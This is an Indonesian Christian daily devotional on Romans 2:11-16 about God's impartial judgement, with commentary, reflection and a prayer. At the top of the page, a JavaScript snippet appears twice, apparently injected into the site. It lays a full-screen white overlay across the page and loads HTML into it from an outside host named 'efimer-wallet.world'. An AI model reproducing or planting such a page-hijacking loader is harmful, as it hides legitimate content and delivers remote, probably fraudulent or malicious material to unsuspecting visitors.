const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Kamis, 13 Juli 2023
Roma 2 : 11 – 16
Pengantar
Baik disadari atau tidak disadari, seringkali kita bertindak menjadi hakim atas orang lain atau menghakimi kesalahan ataupun kejahatan orang lain. Menghakimi orang lain memang mudah tetapi yang tanpa disadari adalah bahwa ketika kita menghakimi orang lain sebetulnya kita sedang menghakimi diri kita sendiri. Karena di hadapan Tuhan tidak ada manusia yang sempurna, semua telah bersalah dan berdosa (Roma 3:23). Hanya Allah saja yang sempurna dan tanpa dosa, itu sebabnya hanya Dia yang layak menjadi hakim. Dan siapapun kita tidak akan bisa terlepas dari penghakiman Tuhan. Penghakiman Tuhan berlaku secara adil tanpa memandang muka, status dan jabatan. Hari ini kita belajar dari penghakiman Allah yang adil, benar dan tanpa pandang bulu.
Pemahaman
- Apakah yang hendak ditekankan oleh penulis surat Roma dalam ayat 11-13?
- Apa yang hendak ditunjukkan oleh penulis dalam ayat 14-16?
Menurut para penafsir Surat Roma ini ditulis oleh Paulus sekitar tahun 55 atau 56 Masehi. Di tujukan kepada jemaat Kristen Roma yang berlatarbelakang orang-orang Yahudi dan Non Yahudi (Roma 1:5-7, 13). Paulus sangat memuji jemaat di Roma (Roma 1:8-12). Namun sayang jemaat yang begitu dipuji-puji oleh Paulus ternyata di dalamnya telah terjadi perselisihan yang berpotensi terjadi perpecahan. Salah satu konflik yang terjadi di jemaat Roma adalah mengenai pemahaman yang berbeda tentang siapa yang dibenarkan dan diselamatkan di hadapan Allah. Kelompok Yahudi yang merasa melakukan Taurat secara utuh menganggap merekalah yang paling benar, sementara kelompok non Yahudi
dianggap tidak benar karena tidak melakukan Taurat dengan utuh. Paulus menegaskan bahwa Injil itu adalah kekuatan Allah yang menyelamatkan semua orang yang percaya kepada-Nya, baik Yahudi maupun non Yahudi. Injil menjadi representasi dari kekuatan Allah yang menyelamatkan (Roma 1:16-17). Selain itu ada persoalan besar lain terjadi di jemaat Roma, yaitu mereka sekalipun mengenal Taurat tetapi mereka hidup seperti orang- orang yang tak mengenal Taurat (Roma 1:18-32). Paulus mengingatkan bahwa jangan hanya mengerti hukum Taurat saja, tetapi yang lebih penting adalah melakukan Taurat itu dengan benar. Dan yang tidak kalah penting adalah di hadapan Tuhan semua orang adalah berdosa. Namun ketika seseorang mau bertobat dan meninggalkan kehidupan lamanya, maka ia telah mengalami pembenaran dari Allah. Dan pembenaran adalah merupakan semata-mata karena anugerah dari Tuhan (Roma 3:24).
Refleksi
Saudara-saudara, jika kita sudah mengenal Firman Tuhan, hidupilah Firman itu dengan benar.
Tekadku
Tuhan Yesus, terimakasih karena Engkau telah membenarkan kami oleh anugerah-Mu
Tindakanku
Mari, saudara-saudara, kita tidak menjadikan pengetahuan akan firman Tuhan untuk menghakimi sesama, tetapi jadikanlah pengetahuan akan firman Tuhan untuk saling membangun sesama.